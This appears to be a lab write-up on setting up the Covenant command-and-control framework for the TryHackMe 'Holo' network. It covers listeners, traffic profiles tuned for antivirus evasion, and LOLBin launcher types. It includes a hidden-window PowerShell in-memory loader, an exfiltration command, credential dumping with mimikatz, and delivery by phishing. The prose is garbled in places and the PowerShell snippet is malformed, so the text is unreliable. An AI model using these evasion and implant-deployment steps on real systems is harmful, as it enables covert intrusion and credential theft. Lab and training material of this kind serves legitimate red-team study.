# Command and Control in the Holo Network

From scanning the internal network, we know that the rest of the network is Windows hosts. When in an engagement, red teams will often utilize a C2 server as a base of operations to help operationalize payloads and maintain access using modules. We will be setting up our C2 server and getting familiar with its operations before moving on to attacking the rest of the network.


.NET tradecraft easier, and serve as a collaborative command and control platform for red teamers.

1. What is a Command and Control (C2) Server?

In the Covenant C2 (Command and Control) framework, Grunts and Listeners refer to specific components of how the system manages remote access and communication:

Grunts

- A Grunt is essentially a compromised system — a payload that has successfully connected back to the Covenant server

**Why**

The reason your Grunt payload mslan el (i.e., connects back) to the Covenant server is simple: it needs a two-way channel to receive your commands and send back data. More specifically:

Help in: 1-Bypass Inbound Firewall Rules. 2-NAT & Dynamic IP Traversal

3-Persistent, Encrypted Channel 4-Stealth & Flexibility

- Each Grunt entry typically shows:

- Name: Custom or auto-generated ID for the Grunt.

- Hostname : Name of the target machine
- User : Logged-in user on the compromised machine.
- Integrity : Privilege level (like User or Admin )
- LastCheckIn : Last time it communicated with the C2.
- Status : Online or Offline.

- Template : Payload template used to generate it.

In simple terms: A Grunt is the agent running on the victim machine.

A C 2 server is a central hub used by attackers to:

1) - Control compromised machines/devices ( Execute commands , steall / exfiltrate data )

How to Remotely Control Compromised Devices Using a C2 Server

A Command and Control (C2) server allows attackers to control compromised machines through a structured workflow. Here's how it works in practice, using frameworks like Covenant:

1. Establish Communication

- Listeners:

- Start a listener on the C2 server HTTP/HTTPS on port `443` or `7443
- This listener waits for incoming connections from compromised machines.

**Example: In Covenant, create a listener under the `Listeners` tab.**

- Stagers:

- Generate a stager (small payload) to deploy on the target machine.
- The stager connects back to the C2 listener to fetch the full payload (e.g., a "grunt" agent).

Stagers in Covenant (and C2 frameworks in general)

**A stager is a small initial payload whose main job is to download and execute a larger payload (like the full Grunt agent). Think of it as a _bootstrapper_ — it gets the connection started.**

### **2. Execute Commands**

Once a **grunt** (agent) is active on the compromised machine:

- **Task Assignment**:

  - Use the C2 dashboard (e.g., Covenant's `Tasks` tab) to send commands to the grunt.

  - Commands can include:

    - **Reconnaissance**: `whoami`, `ipconfig`, `netstat`.

    - **Lateral Movement**: `net view`, `psexec`.

    - **Privilege Escalation**: `getsystem`, `bypassuac`.

- **Real-Time Interaction**:

  - Some C2 frameworks allow direct terminal access to the grunt.

  - **Example**: In Covenant, select a grunt and use the `Interact` tab to run commands.

### **3. Steal Data (Exfiltration)**

- File Exfiltration:

  - Use built-in modules to upload files from the victim to the C2 server.

    download C:\Users\Victim\Documents\secret.txt

- Credential Harvesting : **Execute tools like `mimikatz` or `secretsdump` through the grunt to dump credentials.**

- Screen Capture/Keylogging**:

  - Deploy modules to capture screenshots or log keystrokes.

For installation and startup we have options :

**Option 1 - Dotnet Core**

The easiest way to use Covenant is by installing dotnet core.

**Option 2 - Docker**

Covenant can also be run with Docker. There are a couple of gotchas with Docker, so we only recommend using docker if you are familiar with docker or are willing to learn the subtle gotchas.

**Features**

**Intuitive Web UI**
A user-friendly dashboard for orchestrating red-team operations collaboratively.

**Cross-Platform & Dockerized**
Built on .NET Core so it runs natively on Windows, Linux, and macOS—and even inside Docker containers.

**Multi-User Collaboration**
Multiple operators can connect to the same server, work independently or together, and share tasks/results in real time.

**API-First Design**
Everything is driven by a REST/Swagger API, making it easy to extend, script, and integrate with other tools.

**Customizable Listener Profiles**
Define exactly how Grunts talk to the server (URLs, headers, payload formats) so C2 traffic blends in with normal HTTP/S.

**Encrypted Key Exchange & SSL**
Implements forward-secrecy key exchange (inspired by Empire) plus optional TLS for fully encrypted channels.

**Dynamic Compilation & Obfuscation**
Uses Roslyn to compile C# implants and tasks on-the-fly, then obfuscates them with ConfuserEx so payloads are never static.

**Inline C# Execution**
Run one-off C# snippets directly on Grunt implants (à la SharpShell), without needing a precompiled module.

**Operation-Wide Indicator Tracking**
Automatically log and summarize actions (“indicators”) for deconfliction and reporting—helpful for blue-team handoffs.

**Unified C# Codebase**
Server, client, and implant are all written in C#, lowering the bar for contributors and ensuring consistency.

**Setting Up Listeners in Covenant**
This will be helpful later when you get onto a Windows box and deploy a grunt quickly.

In this task, you'll learn how to create and customize listeners in Covenant, focusing on advanced profile editing for stealth and evasion:

**1. What is a Listener?**

**A listener is a service running on your C2 server that:**

**-** Waits for incoming connections** from compromised machines (grunts).

- Manages communication between the C2 server and grunts using predefined profiles.

**2. Understanding Profiles**

Profiles define how HTTP/S traffic is structured between the C2 server and grunts. Covenant includes default profiles, but customizing them helps evade detection.

**The first step in operating with Covenant is to create a listener.**

Listeners are built off profiles; you can think of profiles like HTTP requests/pages that will serve as the channel that will handle all C2 traffic. There are four default profiles that Covenant comes with, outlined below.

**Default Profiles in Covenant:**

**- **DefaultHttpProfile : Basic HTTP communication (easy to detect).**

**- **DefaultHttpsProfile: Encrypted HTTPS traffic (more secure).**

**- CustomHttpProfile: Allows manual customization of headers and URLs.**

**Key Parameters in a Profile :**

**- HttpUrls :** URLs grunts use to connect (ex: `/admin/login`).

- **HttpRequestHeaders** : Headers sent with requests (e.x: `User-Agent: Mozilla/5.0`).

- **HttpPostRequest :** Format for data exfiltration (ex, base64-encoded parameters).

- **HttpGetResponse :** How the C2 server responds to GET requests (e.X, inject commands).

## 3. Step-by-Step: Creating a Listener

**1. Navigate to Listeners:**

- Go to the Listeners tab → Click Create Listener.

**2. Configure Basic Settings:**

- **Name :** Assign a unique name (e.x, `THM-Listener`).
- **BindAddress:** `0.0.0.0` (listen on all interfaces).
- **BindPort:** Port for incoming connections (e.g., `443` for HTTPS).
- **ConnectPort:** Callback port for grunts (match `BindPort`)
- **ConnectAddresses**: IP/Domain of your C2 server (e.g., `10.10.x.x`)
- **UseSSL:** Enable for HTTPS (requires a certificate).

**3. Select/Edit a Profile:**

- **Choose DefaultHttpProfile for simplicity.**
- **Customize the Profile :**
  - Modify HttpUrls to mimic legitimate traffic (e.x, `/api/v1/health`).
  - Add HttpHeaders like `Content-Type: application/json` to blend in
  - Obfuscate HttpPostRequest data (e.x, use XOR encryption).

**4. Start the Listener**

- **Click Create → Start the listener from the **Listeners** tab.**

**4. Advanced Customization for AV Evasion**

**To avoid detection in later tasks:**

- Use HTTPS: Encrypt traffic with a self-signed certificate (generate via OpenSSL).

- Mimic Legitimate Traffic

  - Set HttpUrls to common paths (ex., `/css/styles**.css`).**

  - Use benign **User-Agent** strings (e.x., `Mozilla/5.0`).

**- Obfuscate Data :**

  - Encode payloads in base64 or XOR

  - Split data into chunks to bypass network filters.

**5. Common Pitfalls**

- Default Settings : Avoid using `DefaultHttpProfile` as-is—it's easily flagged by AV

- SSL Errors: Ensure your certificate is properly configured if using HTTPS.

- Port Conflicts: Use non-standard ports (e.g., `8080`, `8443`) instead of `80`/`443`.

**6. Example Listener Configuration**

yaml Copy Download

```yaml
Name: THM-StealthListener
BindAddress: 0.0.0.0
BindPort: 8443
ConnectAddresses: 10.10.x.x
UseSSL: True
HttpProfile:
  HttpUrls: ["/static/analytics.js"]
  HttpRequestHeaders:
    User-Agent: "Mozilla/5.0"
    Content-Type: "application/json"
  HttpPostRequest:
    Format: "{{DATA}}"
```

**7. Next Steps**

**i'll dive deeper into:**

- Editing Profiles: Customizing headers, URLs, and encryption.

- Generating Stagers: Creating payloads that connect to your listener.

- Testing Evasion: Validating if your listener bypasses security tools.

---

C**reating Launchers in Covenant (The "Blood Oath" Task)**

In this task, you'll learn how to create launchers in Covenant to deploy **grunts** (agents) on compromised machines. Launchers are payloads that establish communication between the target and your C2 server. Here's a detailed breakdown:

**1. The basic discuss the Launcher ?**

**A launcher is a payload generatorthat:**

- Creates scripts, binaries, or one-liners to execute a grunt on a target machine.

- Uses trusted system tools (LOLBins) to bypass detection (ex: `msbuild.exe`, `regsvr32.exe`).

- Connects back to your C2 listener to fetch the full grunt payload.

**### **2. Types of Launchers in Covenant**  BLOOD OATH**

**Covenant supports 10 launcher types, leveraging **Living Off the Land Binaries (LOLBins)** for stealth:**

**| Launcher | Description | LOLBin Used**

**| Binary | Custom .NET executable to launch grunts. | None (self-contained). |**

**| Shellcode | Converts .NET binary to shellcode using Donut. | Requires injection into a process. |**

**| PowerShell | Generates PowerShell commands to download/execute grunts. | `powershell.exe` |**

**| MSBuild | Creates an XML file executed by `msbuild.exe` (Microsoft Build Tool). | [MSBuild](https://lolbas-project.github.io/lolbas/Binaries/MsBuild/) |**

**| InstallUtil | Uses `installutil.exe` (Windows installer tool) to run malicious code. | [InstallUtil](https://lolbas-project.github.io/lolbas/Binaries/InstallUtil/) |**

**| HTA | Generates an HTA file executed by `mshta.exe`. | [MSHTA](https://lolbas-project.github.io/lolbas/Binaries/MShta/) |**

**| Regsvr32 | Executes a malicious SCT script via `regsvr32.exe`. | [Regsvr32](https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/)**

**| WMIC | Uses `wmic.exe` to execute an XSL script. [WMIC](https://lolbas-project.github.io/lolbas/Binaries/Wmic/) |**

**| Cscript | Runs a JScript file with `cscript.exe`. | [Cscript](https://lolbas-project.github.io/lolbas/Binaries/Cscript/) |**

**| Wscript | Executes a JScript file with `wscript.exe`. | [Wscript](https://lolbas-project.github.io/lolbas/Binaries/Wscript/) |**

**3. Configuring a Binary Launcher**

**For this task, we focus on the **Binary launcher**. Key configuration options:**

**- Listener:** The listener the grunt connects to (e.x., `THM-Listener`).

**- ImplantTemplate:** Type of grunt (e.x, `GruntHTTP` or `GruntSMB`).

**- Delay :** Time (in seconds) between grunt callbacks (e.x`10`).

**- ConnectAttempts :** Number of retries if the grunt can't connect (e.x `5`).

**- KillDate :** Date when the grunt self-destructs (e.x, `2023-12-31`).

**4. Step-by-Step: Creating a Launcher**

**1. Navigate to Launchers :**

- Go to the Launcher tab → Select Binary → Click Create.

**2. Configure Key Parameters:**

- **Listener** : Choose your active listener (e.x `THM-Listener`).
- **ImplantTemplate :** Select `GruntHTTP` (default).
- **Delay :** Set to `10` (grunt checks in every 10 seconds).
- **KillDate :** Optional (set a date for the grunt to stop).

**3. Generate the Launcher :**

- Click Generate → Download the binary `grunt.exe or copy the one-liner.

**5. PowerShell Launcher likr this :**

```
powershell -Sta -Nop -Window Hidden -Command "sv o (New-Object IO.MemoryStream);sv
d (New-Object IO.Compression.DeflateStream)
[IO.Compression.CompressionMode]::Decompress);d.CopyTo(o);iex(New-Object
IO.StreamReader(New-Object IO.StreamReader(o,
[Text.Encoding]::ASCII)).ReadToEnd();"
```

**This command:**

- Decompresses and executes the grunt payload in memory.

- Uses `-Window Hidden` to hide the PowerShell window.

**6. Deploying the Grunt**

**1. Transfer the launcher to the target (e.x., via phishing, SMB, or web download).**

**2. Execute it:**

**- For binaries:** Run `grunt.exe`.

**- For PowerShell**: Paste the one-liner into a terminal.

**3. Verify Success:**

**- Check the Grunts tab in Covenant**

**| Name | Hostname | User | Integrity | LastCheckIn | Status | Note | Template**

**| d5b2e97be7 | S-SRV01 | Administrator | High | 11/22/2020 4:46PM | Active | GruntHTTP | GruntHTTP |**

**Why This Matters**

**- Evasion:** Launchers abuse trusted tools (LOLBins) to avoid detection.

**- Flexibility:** Choose the best launcher for the target environment `Regsvr32` for legacy systems

**- Automation:** Covenant handles payload generation and hosting.

**IN the next step:**

Interact with Grunts : Execute commands `shell whoami`.

Use Modules : Privilege escalation, credential dumping, lateral movement.

Manage Persistence : Schedule tasks, registry modifications.